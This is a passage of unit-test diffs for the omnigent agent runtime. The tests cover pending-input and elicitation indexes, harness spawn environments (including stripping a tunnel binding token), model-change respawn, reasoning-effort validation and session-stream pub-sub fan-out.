pending_elicitations.record_publish("conv_a", _elicit_event("elicit_gone"))
pending_elicitations.resolve("conv_a", "elicit_gone")
assert pending_elicitations.lookup("elicit_gone") is None
def test_lookup_returns_deep_copy() -> None:
"""
:func:`lookup` returns a deep copy of the stored event so callers
cannot mutate the index.
"""
event = {
"type": "response.elicitation_request",
"elicitation_id": "elicit_copy",
"params": {"message": "original"},
}
pending_elicitations.record_publish("conv_a", event)
result = pending_elicitations.lookup("elicit_copy")
assert result is not None
_, payload = result
payload["params"]["message"] = "tampered"
# Re-lookup must still see the original.
result2 = pending_elicitations.lookup("elicit_copy")
assert result2 is not None
assert result2[1]["params"]["message"] == "original"
def test_snapshot_for_returns_independent_copies() -> None:
"""
Mutating a snapshot entry must not poison the internal index,
even at nested depths.
The index stores arbitrary event dicts whose ``params`` block
is itself a dict. A shallow copy would leak nested
mutations — e.g. ``snap[0]["params"]["message"] = "x"`` would
mutate the index's stored event. ``deepcopy`` is required.
"""
event = {
"type": "response.elicitation_request",
"elicitation_id": "elicit_mutate",
"params": {"message": "original"},
}
pending_elicitations.record_publish("conv_a", event)
snap1 = pending_elicitations.snapshot_for("conv_a")
# Top-level reassignment — caught by a shallow copy.
snap1[0]["params"] = {"message": "tampered-top-level"}
# Nested in-place mutation — only caught by deep copy. This
# is the exact pattern the review comment flagged: shallow
# ``dict(event)`` would let this corrupt the index.
snap1_again = pending_elicitations.snapshot_for("conv_a")
snap1_again[0]["params"]["message"] = "tampered-nested"
snap2 = pending_elicitations.snapshot_for("conv_a")
# The third read must still reflect the original event, not
# either tampered version. If "tampered-nested", the snapshot
# returned a shared reference and external mutation corrupted
# the index; if "tampered-top-level", the top-level copy is
# there but nested values are still shared.
assert snap2[0]["params"]["message"] == "original"
+332
View File
@@ -0,0 +1,332 @@
"""
Unit tests for :mod:`omnigent.runtime.pending_inputs`.
The pending-inputs index holds web-composer user messages on
native-terminal sessions that haven't yet round-tripped back through
the transcript forwarder. It backs the optimistic "queued message"
bubble across a client re-bind by replaying un-consumed messages into
the session snapshot. Tests here pin its core invariants directly:
* :func:`record` assigns a unique id and :func:`snapshot_for` replays
entries in FIFO (insertion) order with their content verbatim.
* :func:`resolve_oldest` drains the oldest entry (FIFO) and returns its
id, regardless of the persisted message's text — the transcript
reformats text (reply quotes, attachment markers), so order is the
only reliable correlation signal. Returns ``None`` when empty.
* :func:`resolve` removes an entry by id (the forward-failed rollback
path) and is idempotent.
* Stale entries are evicted after :data:`pending_inputs._TTL_S` — the
ghost-cleanup backstop for a message the TUI never accepted.
The wire-up between the route layer and the index (record on POST,
drain at persist, replay in the snapshot) is covered by the server
route tests; this file tests the module in isolation.
"""
from __future__ import annotations
from collections.abc import Iterator
import pytest
from omnigent.runtime import pending_inputs
@pytest.fixture(autouse=True)
def _clean_pending_inputs_index() -> Iterator[None]:
"""
Reset the module-global pending-inputs dict between tests.
The index is process-global; without this fixture a leaked entry
would change the snapshot/match behavior of every later test.
"""
pending_inputs.reset_for_tests()
yield
pending_inputs.reset_for_tests()
def _text_block(text: str) -> dict[str, object]:
"""
Build a minimal ``input_text`` content block.
:param text: The message text, e.g. ``"hello"``.
:returns: A content block dict, e.g.
``{"type": "input_text", "text": "hello"}``.
"""
return {"type": "input_text", "text": text}
def test_record_then_snapshot_preserves_order_and_content() -> None:
"""
Snapshot replays recorded messages FIFO with content verbatim.
Proves a (re)connecting client re-hydrates exactly what it posted,
in submission order. A failure here means the snapshot lost an
entry, reordered them, or mangled the content blocks — the bubble
would render wrong or vanish on re-bind.
"""
first = pending_inputs.record("conv_a", [_text_block("first")])
second = pending_inputs.record("conv_a", [_text_block("second")])
snap = pending_inputs.snapshot_for("conv_a")
# Two distinct ids in insertion order — not deduped, not reordered.
assert [e["pending_id"] for e in snap] == [first, second]
assert first != second
# Content round-trips verbatim (real file ids / text survive replay).
assert snap[0]["content"] == [_text_block("first")]
assert snap[1]["content"] == [_text_block("second")]
def test_snapshot_returns_deep_copies() -> None:
"""
Mutating a snapshot entry must not corrupt the stored content.
The snapshot is serialized onto the wire; a shallow copy would let
a caller's mutation leak back into the index and poison a later
replay. Asserts the stored content is unchanged after mutation.
"""
pending_inputs.record("conv_a", [_text_block("orig")])
snap = pending_inputs.snapshot_for("conv_a")
snap[0]["content"][0]["text"] = "mutated"
# Re-read: the index still holds the original text, not "mutated".
assert pending_inputs.snapshot_for("conv_a")[0]["content"] == [_text_block("orig")]
def test_resolve_oldest_drains_fifo_and_returns_entry() -> None:
"""
A persisted message drains the oldest pending entry (FIFO).
This is the dedupe that stops the now-committed item from
double-rendering next to its stale optimistic bubble. Per-session
SSE ordering means the i-th persisted user message is the i-th
queued one, so draining is oldest-first. Asserts the first recorded
entry drains first (with its id + content) and the second remains.
"""
first = pending_inputs.record("conv_a", [_text_block("first")])
second = pending_inputs.record("conv_a", [_text_block("second")])
drained = pending_inputs.resolve_oldest("conv_a")
# Oldest entry drains first; its id is echoed back so the client can
# drop that bubble by id, and its content lets the caller fold file
# blocks into the durable item.
assert drained is not None
assert drained.pending_id == first
assert drained.content == [_text_block("first")]
assert [e["pending_id"] for e in pending_inputs.snapshot_for("conv_a")] == [second]
# Then the next-oldest.
assert pending_inputs.resolve_oldest("conv_a").pending_id == second # type: ignore[union-attr]
assert pending_inputs.snapshot_for("conv_a") == []
def test_resolve_oldest_returns_none_when_empty() -> None:
"""
Draining with nothing pending returns ``None``.
A message typed directly in the TUI on a session with no queued web
messages has no pending entry; the caller then renders it as a plain
committed item (``cleared_pending_id`` is ``None``).
"""
assert pending_inputs.resolve_oldest("conv_a") is None
def test_resolve_oldest_drains_regardless_of_reformatted_text() -> None:
"""
Regression: a queued message drains even when the transcript
reformats its text (reply-quote / attachment markers / whitespace).
The bug: matching the pending entry to the persisted item *by text*
broke when the native transcript reformatted the message — e.g. a
reply-quote POSTed as ``"> quoted\\n\\nmy question"`` round-tripped
back as differently-formatted text. The text match then failed, the
entry never drained, and the message double-rendered (committed
bubble + stranded pending bubble) and survived reload until the TTL.
FIFO draining is immune: it ignores the content entirely. Here the
stored content (with blockquote markers) is drained by order even
though the persisted text it corresponds to looks nothing like it.
"""
quoted = [_text_block("> modeling a crash where set_offline never ran)\n\nIs this the only?")]
pid = pending_inputs.record("conv_a", quoted)
# The persisted/round-tripped text is irrelevant to draining — order
# is the only signal. The entry drains and is gone (no ghost).
drained = pending_inputs.resolve_oldest("conv_a")
assert drained is not None and drained.pending_id == pid
assert pending_inputs.snapshot_for("conv_a") == []
def test_resolve_oldest_returns_content_with_file_blocks() -> None:
"""
The drained entry carries its file blocks for durable merge.
Native transcript items are text-only, so the persist site folds the
drained entry's image/file blocks into the durable item to keep the
image in history. That only works if :func:`resolve_oldest` hands
back the original content (with real ``file_id``s), not just the id.
"""
content = [
{"type": "input_image", "file_id": "file_real", "filename": "a.png"},
_text_block("look"),
]
pending_inputs.record("conv_a", content)
drained = pending_inputs.resolve_oldest("conv_a")
assert drained is not None
# The image block survives the drain so the caller can re-attach it.
assert drained.content == content
def test_resolve_matching_text_skips_older_unmatched_entries() -> None:
"""Kiro can match the accepted prompt and identify older failed inputs."""
first = pending_inputs.record(
"conv_a", [_text_block("!!!! XOXOX !!!!")], created_by="alice@example.com"
)
second = pending_inputs.record("conv_a", [_text_block("tell me a joke")])
drained = pending_inputs.resolve_matching_text("conv_a", "tell me a joke")
assert drained.matched is not None
assert drained.matched.pending_id == second
assert drained.matched.content == [_text_block("tell me a joke")]
assert [entry.pending_id for entry in drained.skipped] == [first]
assert drained.skipped[0].content == [_text_block("!!!! XOXOX !!!!")]
assert drained.skipped[0].created_by == "alice@example.com"
assert pending_inputs.snapshot_for("conv_a") == []
def test_resolve_matching_text_leaves_entries_when_no_text_matches() -> None:
"""A direct Kiro TUI prompt must not consume unrelated web pending entries."""
first = pending_inputs.record("conv_a", [_text_block("web input")])
drained = pending_inputs.resolve_matching_text("conv_a", "typed in terminal")
assert drained.matched is None
assert drained.skipped == []
assert [entry["pending_id"] for entry in pending_inputs.snapshot_for("conv_a")] == [first]
def test_resolve_removes_entry_idempotently() -> None:
"""
:func:`resolve` drops an entry by id (forward-failed rollback).
When the runner forward fails the route rolls back the record so a
never-delivered message leaves no ghost bubble. Asserts the entry
is removed and a second resolve of the same id is a harmless no-op.
"""
keep = pending_inputs.record("conv_a", [_text_block("keep")])
drop = pending_inputs.record("conv_a", [_text_block("drop")])
pending_inputs.resolve("conv_a", drop)
assert [e["pending_id"] for e in pending_inputs.snapshot_for("conv_a")] == [keep]
# Idempotent — resolving an already-removed id does nothing.
pending_inputs.resolve("conv_a", drop)
assert [e["pending_id"] for e in pending_inputs.snapshot_for("conv_a")] == [keep]
def test_entries_are_scoped_per_conversation() -> None:
"""
One conversation's pending messages never leak into another's.
A multi-user server holds many sessions in the same process; a
snapshot for conv B must never replay conv A's queued bubble.
"""
a = pending_inputs.record("conv_a", [_text_block("for a")])
pending_inputs.record("conv_b", [_text_block("for b")])
assert [e["pending_id"] for e in pending_inputs.snapshot_for("conv_a")] == [a]
# conv_b's snapshot doesn't contain conv_a's entry.
assert all(e["pending_id"] != a for e in pending_inputs.snapshot_for("conv_b"))
def test_created_by_round_trips_through_drain() -> None:
"""
:func:`resolve_oldest` returns the ``created_by`` stored at record time.
The persist site applies the drained author to the ``NewConversationItem``
so ``session.input.consumed`` broadcasts the correct identity to all
clients. A failure here means collaborators (who never saw the optimistic
bubble) receive ``created_by=None`` and the author label never appears for
them on the committed message.
"""
pending_inputs.record(
"conv_a", [_text_block("alice's message")], created_by="alice@example.com"
)
drained = pending_inputs.resolve_oldest("conv_a")
assert drained is not None
assert drained.created_by == "alice@example.com"
def test_created_by_none_when_not_provided() -> None:
"""
Entries recorded without ``created_by`` drain with ``None``.
Covers callers that don't provide an author (e.g. pre-attribution
code or unknown actor). The persist site guards on ``drained.created_by
is not None`` before applying it, so ``None`` is a safe no-op.
"""
pending_inputs.record("conv_a", [_text_block("anonymous")])
drained = pending_inputs.resolve_oldest("conv_a")
assert drained is not None
assert drained.created_by is None
def test_created_by_in_snapshot() -> None:
"""
:func:`snapshot_for` includes ``created_by`` when present.
A collaborator who reconnects while a message is still in-flight
re-hydrates the optimistic bubble from the snapshot. Without
``created_by`` in the snapshot payload the frontend cannot stamp
the correct author on the bubble; the collaborator would either see
their own email (wrong) or no label at all.
"""
pending_inputs.record("conv_a", [_text_block("hi")], created_by="alice@example.com")
snap = pending_inputs.snapshot_for("conv_a")
assert len(snap) == 1
assert snap[0]["created_by"] == "alice@example.com"
def test_created_by_absent_from_snapshot_when_none() -> None:
"""
``created_by`` is omitted from the snapshot dict when not set.
Keeps the wire payload backward-compatible: clients that pre-date
this field see no unknown key rather than an explicit ``null``.
"""
pending_inputs.record("conv_a", [_text_block("hi")])
snap = pending_inputs.snapshot_for("conv_a")
assert "created_by" not in snap[0]
def test_stale_entries_evicted_after_ttl(monkeypatch: pytest.MonkeyPatch) -> None:
"""
A never-drained entry is evicted once it ages past the TTL.
This is the ghost-cleanup backstop for a message the vendor TUI
never accepted (runner crash, dropped keystrokes): with no matching
persist to drain it, it must not replay forever. Drive the clock via
the ``_now`` seam so no real sleep is needed.
Asserts the entry is present just under the TTL and gone just over
it. A failure means eviction never fires (permanent ghost bubble)
or fires too eagerly (a slow-but-valid round-trip loses its bubble).
"""
clock = {"t": 1000.0}
# Patch the module's own _now seam (not time.monotonic globally) so
# only this index sees the advanced clock — see testing rule 14.
monkeypatch.setattr(pending_inputs, "_now", lambda: clock["t"])
pid = pending_inputs.record("conv_a", [_text_block("ghost")])
# Just under the TTL: a slow transcript round-trip still finds it.
clock["t"] = 1000.0 + pending_inputs._TTL_S - 0.1
assert [e["pending_id"] for e in pending_inputs.snapshot_for("conv_a")] == [pid]
# Past the TTL: the lazy sweep on the next access evicts the ghost.
clock["t"] = 1000.0 + pending_inputs._TTL_S + 0.1
assert pending_inputs.snapshot_for("conv_a") == []
+200
View File
@@ -0,0 +1,200 @@
"""
Tests for ``_build_pi_spawn_env`` in ``omnigent/runtime/workflow.py``.
The spawn-env builder maps ``spec.executor`` fields to ``HARNESS_PI_*``
env vars that the pi harness wrap reads at executor-construction time.
Mirrors ``test_claude_sdk_spawn_env.py`` — pi must have the same
Databricks-gateway default-model parity that claude-sdk has.
This is a unit test — no subprocess spawn, no real pi CLI.
"""
from __future__ import annotations
from pathlib import Path
import pytest
from omnigent.runtime.workflow import _build_pi_spawn_env
from omnigent.spec.types import AgentSpec, ExecutorSpec, LLMConfig
@pytest.fixture(autouse=True)
def _isolate_global_config(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None:
"""
Point OMNIGENT_CONFIG_HOME at an empty temp dir for every test in
this file so the developer's real ``~/.omnigent/config.yaml`` (e.g.
a default provider) cannot hijack the legacy-profile path under test.
:param monkeypatch: Pytest monkeypatch fixture.
:param tmp_path: Temporary directory for the isolated config.
"""
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", str(tmp_path))
def _make_spec(*, model: str | None = None, profile: str | None = None) -> AgentSpec:
"""
Build a minimal pi :class:`AgentSpec` for spawn-env tests.
:param model: Model identifier threaded into executor config and
``spec.llm``, e.g. ``"databricks-claude-sonnet-4-6"``. ``None``
omits it (no model pinned in YAML — the nessie shape).
:param profile: Legacy profile set via ``executor.config["profile"]``.
``None`` omits it (no profile declared in YAML).
:returns: A populated :class:`AgentSpec`.
"""
config: dict[str, object] = {"harness": "pi"}
if model is not None:
config["model"] = model
if profile is not None:
config["profile"] = profile
return AgentSpec(
spec_version=1,
name="test-pi",
instructions="You are a test agent.",
executor=ExecutorSpec(type="omnigent", config=config, model=model),
llm=LLMConfig(model=model) if model is not None else None,
)
def test_pi_spawn_env_threads_cwd_separately_from_bundle_dir(tmp_path: Path) -> None:
"""
Pi gets the session workspace as ``HARNESS_PI_CWD``.
``workdir`` is the extracted agent bundle, not the user's project
workspace. If these are conflated, Pi launches in the wrong repository.
"""
workspace = tmp_path / "repo"
workspace.mkdir()
bundle_dir = tmp_path / "runner-specs" / "ag_pi-v1"
bundle_dir.mkdir(parents=True)
env = _build_pi_spawn_env(_make_spec(), cwd=workspace, workdir=bundle_dir)
assert env["HARNESS_PI_CWD"] == str(workspace)
assert env["HARNESS_PI_BUNDLE_DIR"] == str(bundle_dir)
def _ucode_state_for_pi(
monkeypatch: pytest.MonkeyPatch, *, model: str | None, with_pi_entry: bool
):
"""
Mock ucode resolution to a workspace state with or without a pi agent.
Builds a workspace state whose ``pi`` agent carries gateway URLs +
auth command but ``model=model``, then monkeypatches the workflow
module's ucode lookups to return it.
:param monkeypatch: Pytest monkeypatch fixture.
:param model: Per-agent ucode model, e.g. ``None`` to simulate a
workspace that caches no model, or ``"databricks-claude-sonnet-4-6"``.
:param with_pi_entry: ``False`` builds a state with no ``pi`` agent
entry at all, exercising the early-return in
``configure_agent_harness_with_ucode``.
"""
from omnigent.onboarding.ucode_state import UcodeAgentState, UcodeWorkspaceState
agents = (
{
"pi": UcodeAgentState(
model=model,
base_urls={
"claude": "https://example.databricks.com/ai-gateway/anthropic",
"openai": "https://example.databricks.com/ai-gateway/codex/v1",
},
auth_command="printf token",
)
}
if with_pi_entry
else {}
)
state = UcodeWorkspaceState(
workspace_url="https://example.databricks.com",
agents=agents,
)
monkeypatch.setattr(
"omnigent.runtime.workflow.get_workspace_url_for_profile",
lambda profile: "https://example.databricks.com",
)
monkeypatch.setattr(
"omnigent.runtime.workflow.read_ucode_state",
lambda workspace_url: state,
)
def test_ucode_state_without_model_falls_back_to_databricks_default(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
A modelless ucode state resolves the Databricks gateway default model.
Reproduces the nessie failure shape on pi: a profile-backed pi agent
with no spec model, whose workspace ucode state caches gateway URLs but
no model. Without the producer default pi falls back to its own host
default (an Anthropic-direct id the gateway rejects), so the model env
var must be set to a routable ``databricks-*`` endpoint name.
"""
_ucode_state_for_pi(monkeypatch, model=None, with_pi_entry=True)
spec = _make_spec(model=None, profile="oss")
env = _build_pi_spawn_env(spec, workdir=None)
assert env["HARNESS_PI_GATEWAY"] == "true"
# The verified routable gateway endpoint name, not pi's own default.
assert env["HARNESS_PI_MODEL"] == "databricks-claude-opus-4-8"
def test_ucode_state_with_model_is_not_overridden_by_default(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
A ucode-supplied model is used as-is; the default does not clobber it.
Failure means the producer's missing-model fallback would override a
workspace that correctly caches its own model.
"""
_ucode_state_for_pi(monkeypatch, model="databricks-claude-sonnet-4-6", with_pi_entry=True)
spec = _make_spec(model=None, profile="oss")
env = _build_pi_spawn_env(spec, workdir=None)
assert env["HARNESS_PI_MODEL"] == "databricks-claude-sonnet-4-6"
def test_spec_model_wins_over_ucode_default(monkeypatch: pytest.MonkeyPatch) -> None:
"""
A spec-pinned model takes precedence over both ucode and the default.
Failure means the ucode/default plumbing clobbers an explicit
``executor.model`` from the agent YAML.
"""
_ucode_state_for_pi(monkeypatch, model=None, with_pi_entry=True)
spec = _make_spec(model="databricks-gpt-5-4", profile="oss")
env = _build_pi_spawn_env(spec, workdir=None)
assert env["HARNESS_PI_MODEL"] == "databricks-gpt-5-4"
def test_no_ucode_pi_entry_leaves_model_to_executor_default(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
Without a ucode ``pi`` entry the producer sets no model env var.
``configure_agent_harness_with_ucode`` early-returns before its
default-model fallback when the workspace state has no ``pi`` agent.
The spawn env must still enable the gateway + carry the profile so
the executor's own profile-derived Databricks default (see
``PiExecutor._resolve_model``) covers this path — asserting the model
var is absent proves that executor-side fallback is actually reached.
"""
_ucode_state_for_pi(monkeypatch, model=None, with_pi_entry=False)
spec = _make_spec(model=None, profile="oss")
env = _build_pi_spawn_env(spec, workdir=None)
assert env["HARNESS_PI_GATEWAY"] == "true"
assert env["HARNESS_PI_DATABRICKS_PROFILE"] == "oss"
# No producer model — the executor's profile-path default applies.
assert "HARNESS_PI_MODEL" not in env
+149
View File
@@ -0,0 +1,149 @@
"""Unit tests for :class:`HarnessProcessManager` model-change respawn.
The harness model is a fixed process env var (``HARNESS_<H>_MODEL``), baked
in at spawn time. So a later turn requesting a different model — e.g. after
the user runs ``/model`` — must respawn the subprocess; otherwise the cached
process keeps serving the old model and ``/model`` silently has no effect.
These tests mock the subprocess-spawn boundary (``_spawn_entry`` /
``_close_entry``) so they exercise the respawn *decision* in ``get_client``
without launching real runner subprocesses.
"""
from __future__ import annotations
from pathlib import Path
import httpx
import pytest
from omnigent.runner.identity import RUNNER_TUNNEL_BINDING_TOKEN_ENV_VAR
from omnigent.runtime.harnesses.process_manager import (
HarnessProcessManager,
_build_harness_spawn_env,
_HarnessEndpoint,
_model_env_key,
_SubprocessEntry,
)
class _AliveProc:
"""Subprocess stand-in that reports as still running (``returncode`` None)."""
returncode = None
@pytest.mark.asyncio
async def test_get_client_respawns_only_when_model_changes(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""``get_client`` respawns iff a concrete different model is requested.
Drives a single conversation through a sequence of model requests and
asserts the spawn count tracks exactly the model *transitions* (same
model → cache hit, no spawn; changed model → respawn; no model env →
keep the running process). A failure means either ``/model`` wouldn't
take effect (missing respawn) or every turn needlessly respawns
(over-eager respawn that would churn the harness + drop its warm state).
:param monkeypatch: Pytest monkeypatch fixture used to mock the
subprocess-spawn boundary.
"""
pm = HarnessProcessManager()
# Bypass start(): these tests mock the spawn boundary, so no instance
# dir / orphan sweep / real subprocess is needed.
pm._started = True
spawns: list[str | None] = []
closes: list[str | None] = []
async def _fake_spawn(conv: str, harness: str, env: dict[str, str] | None) -> _SubprocessEntry:
"""Record the spawned model and return a live fake entry."""
model = (env or {}).get(_model_env_key(harness))
spawns.append(model)
return _SubprocessEntry(
process=_AliveProc(), # type: ignore[arg-type] # stand-in process
client=httpx.AsyncClient(),
endpoint=_HarnessEndpoint(socket_path=Path("/tmp/fake.sock")),
harness=harness,
model=model,
)
async def _fake_close(entry: _SubprocessEntry) -> None:
"""Record the closed entry's model and release its client."""
closes.append(entry.model)
await entry.client.aclose()
monkeypatch.setattr(pm, "_spawn_entry", _fake_spawn)
monkeypatch.setattr(pm, "_close_entry", _fake_close)
conv, harness = "conv_x", "claude-sdk"
key = _model_env_key(harness) # HARNESS_CLAUDE_SDK_MODEL
await pm.get_client(conv, harness, env={key: "claude-opus-4-6"}) # spawn opus
await pm.get_client(conv, harness, env={key: "claude-opus-4-6"}) # same → cache hit
await pm.get_client(conv, harness, env={key: "claude-sonnet-4-6"}) # changed → respawn
await pm.get_client(conv, harness, env=None) # no model env → keep running process
await pm.get_client(conv, harness, env={key: "claude-opus-4-6"}) # changed back → respawn
# Exactly three spawns, tracking the model transitions opus→sonnet→opus.
# If the respawn-on-change were missing this would be ["claude-opus-4-6"]
# (everything served by the first cached process).
assert spawns == ["claude-opus-4-6", "claude-sonnet-4-6", "claude-opus-4-6"], spawns
# Each respawn closed the prior process first (opus, then sonnet); the
# cache-hit and the env=None turn close nothing.
assert closes == ["claude-opus-4-6", "claude-sonnet-4-6"], closes
final = pm._entries.get(conv)
if final is not None:
await final.client.aclose()
def test_build_harness_spawn_env_strips_binding_token_with_overrides(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""The runner tunnel binding token never reaches the harness env.
The runner process carries the binding token in its own
``os.environ`` (it reuses the token for request auth), so the merged
spawn env would inherit it unless explicitly stripped. This is the
token leak: a token visible to the harness lets the agent
payload impersonate the runner against the control-plane tunnel.
Asserts the token is gone while AP's own env and the caller's
per-spec overrides both survive.
:param monkeypatch: Pytest monkeypatch fixture used to seed the
binding token (and a benign var) into ``os.environ``.
"""
monkeypatch.setenv(RUNNER_TUNNEL_BINDING_TOKEN_ENV_VAR, "bug-binding-token-secret")
monkeypatch.setenv("PATH_MARKER_FOR_TEST", "marker-value")
key = _model_env_key("claude-sdk")
env = _build_harness_spawn_env({key: "claude-opus-4-6"})
assert RUNNER_TUNNEL_BINDING_TOKEN_ENV_VAR not in env
assert "bug-binding-token-secret" not in env.values()
assert env[key] == "claude-opus-4-6" # caller override preserved
assert env["PATH_MARKER_FOR_TEST"] == "marker-value" # AP env inherited
def test_build_harness_spawn_env_strips_binding_token_without_overrides(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""The no-overrides path also strips the token (not a bare inherit).
The previous implementation returned ``None`` (full inherit) when no
overrides were passed — the common case — which re-leaked the token.
This pins the explicit-dict-with-strip behavior for that path.
:param monkeypatch: Pytest monkeypatch fixture used to seed the
binding token into ``os.environ``.
"""
monkeypatch.setenv(RUNNER_TUNNEL_BINDING_TOKEN_ENV_VAR, "bug-binding-token-secret")
monkeypatch.setenv("PATH_MARKER_FOR_TEST", "marker-value")
env = _build_harness_spawn_env(None)
assert RUNNER_TUNNEL_BINDING_TOKEN_ENV_VAR not in env
assert "bug-binding-token-secret" not in env.values() # not leaked under another key
assert env["PATH_MARKER_FOR_TEST"] == "marker-value"
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,74 @@
from __future__ import annotations
import pytest
from omnigent.inner.claude_sdk_executor import ClaudeSDKExecutor
from omnigent.inner.codex_executor import CodexExecutor
from omnigent.inner.executor import ExecutorConfig, ExecutorError
from omnigent.inner.openai_agents_sdk_executor import OpenAIAgentsSDKExecutor
from omnigent.llms.adapters.anthropic import _effort_to_budget
from omnigent.llms.errors import PermanentLLMError
@pytest.mark.parametrize("effort", ["none", "minimal"])
def test_anthropic_effort_rejects_openai_only_values(effort: str) -> None:
with pytest.raises(PermanentLLMError, match="not supported by Anthropic"):
_effort_to_budget(effort, 10000)
@pytest.mark.asyncio
async def test_claude_sdk_rejects_none_before_sdk_call() -> None:
executor = ClaudeSDKExecutor(gateway=False)
events = [
e
async for e in executor.run_turn(
messages=[{"role": "user", "content": "hi"}],
tools=[],
system_prompt="",
config=ExecutorConfig(extra={"reasoning_effort": "none"}),
)
]
assert any(
isinstance(e, ExecutorError) and "not supported by Claude" in e.message for e in events
)
@pytest.mark.asyncio
async def test_codex_rejects_max_without_cli() -> None:
executor = CodexExecutor(codex_path="/bin/echo")
events = [
e
async for e in executor.run_turn(
messages=[{"role": "user", "content": "hi"}],
tools=[],
system_prompt="",
config=ExecutorConfig(extra={"reasoning_effort": "max"}),
)
]
assert any(
isinstance(e, ExecutorError) and "not supported by codex" in e.message for e in events
)
@pytest.mark.asyncio
async def test_openai_agents_rejects_max_without_sdk_call(monkeypatch: pytest.MonkeyPatch) -> None:
import types
fake_agents = types.SimpleNamespace()
monkeypatch.setattr(
"omnigent.inner.openai_agents_sdk_executor._ensure_agents_sdk", lambda: fake_agents
)
executor = OpenAIAgentsSDKExecutor(client=object())
events = [
e
async for e in executor.run_turn(
messages=[{"role": "user", "content": "hi"}],
tools=[],
system_prompt="",
config=ExecutorConfig(extra={"reasoning_effort": "max"}),
)
]
assert any(
isinstance(e, ExecutorError) and "not supported by OpenAI Agents SDK" in e.message
for e in events
)
+675
View File
@@ -0,0 +1,675 @@
"""
Unit tests for :mod:`omnigent.runtime.session_stream`.
The session stream is a pure pub-sub fan-out:
* :func:`publish` is a no-op when no subscriber is connected for the
conversation_id.
* Every active :func:`subscribe` call gets its own queue and sees
every event published after it subscribed.
* :func:`close` broadcasts an end-of-stream sentinel to every
subscriber.
* Subscriber slots are torn down in the generator's ``finally``
block so leaks cannot accumulate.
These tests pin those invariants directly. They are sibling to the
workflow-integration drift tests in
:mod:`tests.server.test_stream_events`, which exercise the
end-to-end publish pipeline.
"""
from __future__ import annotations
import asyncio
from typing import Any
import pytest
from omnigent.runtime import session_stream
# Each test resets the global subscriber registry so cross-test leak
# of a hung subscriber from another test can't mask a real failure.
@pytest.fixture(autouse=True)
def _clean_session_stream_registry() -> None:
"""
Reset the module-global subscriber map before and after each test.
The pub-sub registry is process-global; without this fixture, a
test that leaks a subscriber would silently change the behavior
of every later test by retaining the leak's slot.
"""
session_stream._subscribers.clear()
yield
session_stream._subscribers.clear()
async def _collect(conv_id: str, expected: int) -> list[dict[str, Any]]:
"""
Subscribe and collect exactly ``expected`` events, then stop.
:param conv_id: Conversation id to subscribe to,
e.g. ``"conv_abc"``.
:param expected: Exact number of events to collect before the
async iterator is broken out of. The caller pre-knows the
count so the test cannot hang.
:returns: The collected event dicts in arrival order.
"""
out: list[dict[str, Any]] = []
# Bind the generator explicitly and ``aclose`` it on the way
# out so the slot-cleanup ``finally`` in ``subscribe`` runs
# deterministically — Python 3.13 no longer auto-closes async
# generators when ``async for`` breaks/returns (cleanup is
# garbage-collection-timed). Real consumers (FastAPI
# ``StreamingResponse``) ``aclose`` the wrapping generator on
# disconnect, so prod doesn't leak; this is purely a test
# determinism fix.
gen = session_stream.subscribe(conv_id)
try:
async for event in gen:
out.append(event)
if len(out) >= expected:
return out
return out
finally:
await gen.aclose()
@pytest.mark.asyncio
async def test_publish_without_subscriber_is_silent_noop() -> None:
"""
``publish`` with no subscriber connected drops events silently.
Production breakage that causes this test to fail: somebody adds
a side effect (e.g. a print, a log line, an exception) to the
no-subscriber path. The pub-sub design contract is that events
fired before any client connects are LOST and the producer pays
no cost — turn-emit sites publish unconditionally.
"""
# Should not raise, should not log, should leave the registry empty.
session_stream.publish("conv_unknown", {"type": "x", "i": 1})
# If publish were silently creating a slot, the registry would
# have grown. The contract: only ``subscribe`` adds slots.
assert session_stream._subscribers == {}, (
f"publish must NOT create subscriber slots. State: {session_stream._subscribers!r}"
)
@pytest.mark.asyncio
async def test_single_subscriber_receives_events_in_order() -> None:
"""
A single subscriber gets every event published after it subscribed.
Production breakage that causes this test to fail: ``publish``
fails to deliver to a registered subscriber, OR delivery
reorders the events (impossible with ``call_soon_threadsafe`` +
a single queue, but pinning the invariant guards future refactors).
"""
task = asyncio.create_task(_collect("conv_a", expected=3))
# Yield once so the subscriber registers its slot before publish.
# Without this yield the event would land before the subscriber
# connected and be dropped — that's the design, but this test
# is about the post-subscribe path.
await asyncio.sleep(0)
session_stream.publish("conv_a", {"type": "e", "i": 1})
session_stream.publish("conv_a", {"type": "e", "i": 2})
session_stream.publish("conv_a", {"type": "e", "i": 3})
received = await asyncio.wait_for(task, timeout=2.0)
# Exact ordering of i=1,2,3 — anything else means publish
# reordered or the queue isn't FIFO.
assert received == [
{"type": "e", "i": 1},
{"type": "e", "i": 2},
{"type": "e", "i": 3},
], (
f"Subscriber saw {received!r}; expected i=1,2,3 in order. "
f"A mismatch indicates either reordering inside publish or "
f"a missed event during fan-out."
)
@pytest.mark.asyncio
async def test_pre_subscribe_events_are_lost() -> None:
"""
Events published before any subscriber connected are dropped.
Production breakage that causes this test to fail: someone
adds a buffer / replay queue to the pub-sub module, which would
silently change the contract clients reconcile against
(``GET /v1/sessions/{id}`` for history, live stream from
connect forward). Buffering would mean the snapshot+live combo
double-delivers items, breaking client dedup.
"""
# Publish first, with no subscriber.
session_stream.publish("conv_lost", {"type": "early", "i": 0})
# Now subscribe and publish another event. The subscriber must
# see ONLY the second event — the first one is gone.
task = asyncio.create_task(_collect("conv_lost", expected=1))
await asyncio.sleep(0)
session_stream.publish("conv_lost", {"type": "live", "i": 1})
received = await asyncio.wait_for(task, timeout=2.0)
assert received == [{"type": "live", "i": 1}], (
f"Subscriber received {received!r}; expected only the "
f"post-subscribe event. A buffered/replayed early event "
f"would have appeared first."
)
@pytest.mark.asyncio
async def test_multi_subscriber_fan_out_independently_delivers() -> None:
"""
Two subscribers to the same conv_id each see every event.
Production breakage that causes this test to fail: the registry
regresses to a single-queue-per-conversation design where
subscribers race on ``queue.get()`` and each event goes to
exactly one (whichever asyncio scheduled first). Multi-subscriber
works naturally under fan-out; the test catches a regression to
the old broken model.
"""
t1 = asyncio.create_task(_collect("conv_fan", expected=2))
